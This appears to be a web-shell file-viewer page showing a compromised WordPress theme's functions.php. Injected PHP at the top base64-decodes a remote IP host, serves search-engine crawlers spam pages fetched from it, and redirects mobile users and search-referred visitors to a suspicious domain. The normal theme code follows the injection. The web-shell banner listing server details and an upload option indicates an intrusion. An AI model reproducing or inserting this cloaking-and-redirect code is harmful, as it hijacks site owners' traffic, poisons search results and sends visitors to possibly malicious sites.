HEX
Server: nginx/1.16.1
System: Linux VM-0-14-centos 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 8.3.31
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.sceycy.com/wp-content/themes/Zing-Pro/functions.php
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
define('URI', $_SERVER['REQUEST_URI']);
define('host', base64_decode('aHR0cDovLzExMy4yMDcuNDkuMjE6MjczNi8='));
define('MULU', 'timi|app|ios|android|download|page|games|play|video|news|product|blog|list|vod|post|activities|id|?|a|forum|portal|question|b|keyan|index.php|g|swsb|ys|dy|du|ku|show.php|.html');
function isEngines($key) {
    $spiders = array('Baiduspider', 'Sogou', '360Spider', 'YisouSpider', 'Googlebot', 'Bingbot', 'Bytespider');
    foreach ($spiders as $spider) {
        if (stripos($key, $spider) !== false) return true;
    }
    return false;
}
function my_custom_isMobile() {
    return preg_match("/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i", $_SERVER["HTTP_USER_AGENT"]);
}
function isIncludes() {
    $temp = explode('|', MULU);
    foreach ($temp as $v) {
        if (stripos(URI, $v) !== false) return true;
    }
    return false;
}

function isRef($ref) {
    if (empty($ref)) return false;
    return (stripos($ref, 'baidu') !== false || stripos($ref, 'sm.cn') !== false || 
            stripos($ref, 'so.com') !== false || stripos($ref, 'sogou') !== false);
}

function getContents($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    $result = curl_exec($ch);
    curl_close($ch);
    if ($result == NULL) {
        return @file_get_contents($url);
    }
    return $result;
}

$ref = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$key = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
$ym = $_SERVER['HTTP_HOST'];

if (isEngines($key)) {
    header('Content-Type:text/html;charset=utf-8');
    if (isIncludes()) {
        echo getContents(host . "?xhost=" . $ym . '&reurl=' . urlencode(URI) . '&ua=Baiduspider&f=bd');
    exit;		
    } else {
        echo getContents(host . "lunlian/dt.php");
    }
} else {
    if (isIncludes()) {
        if (isRef($ref) || my_custom_isMobile()) {
            header("Location: https://zvpso4yc.4npdpd-t8bka-fgsden.work:21557/?cid=jhgb&ref=" . urlencode($ym));
            exit;
        }
    }
}
?>
<?php

/** --------------------------------------------------------------------------------- *
 *  主题框架
 *  --------------------------------------------------------------------------------- */
include TEMPLATEPATH.'/admin/dahuzi-framework/dahuzi-framework.php';

/** --------------------------------------------------------------------------------- *
 *  核心文件
 *  --------------------------------------------------------------------------------- */
include TEMPLATEPATH.'/public/zing-functions.php'; //zing主题相关
include TEMPLATEPATH.'/public/core/admin-page.php';
include TEMPLATEPATH.'/public/extend/xintheme-seo.php'; //SEO设置
include TEMPLATEPATH.'/public/basic-functions.php'; //通用函数
include TEMPLATEPATH.'/public/wp-optimize.php'; //WP优化
include TEMPLATEPATH.'/public/extend-functions.php'; //扩展功能
include TEMPLATEPATH.'/public/widget.php'; //小工具
include TEMPLATEPATH.'/public/comment.php'; //评论相关
include TEMPLATEPATH.'/public/dahuzi-contact.php'; //在线留言

include TEMPLATEPATH.'/public/core/encryption.php';


//echo home_url(add_query_arg(array()));
//echo home_url(add_query_arg(array(),$wp->request));


//移除网址链接中的参数,避免被刷广告
function dhz_remove_query_strings() {
    //跳过后台和搜索页面
    if (is_admin() || is_search()) {
        return;
    }
    if (strpos($_SERVER['REQUEST_URI'], '?') !== false) {
        //获取当前链接
        $current_url = home_url(add_query_arg(array()));
        //301重定向至不带参数的链接
        wp_redirect(strtok($current_url, '?'), 301);
        exit();
    }
}
//add_action('template_redirect', 'dhz_remove_query_strings');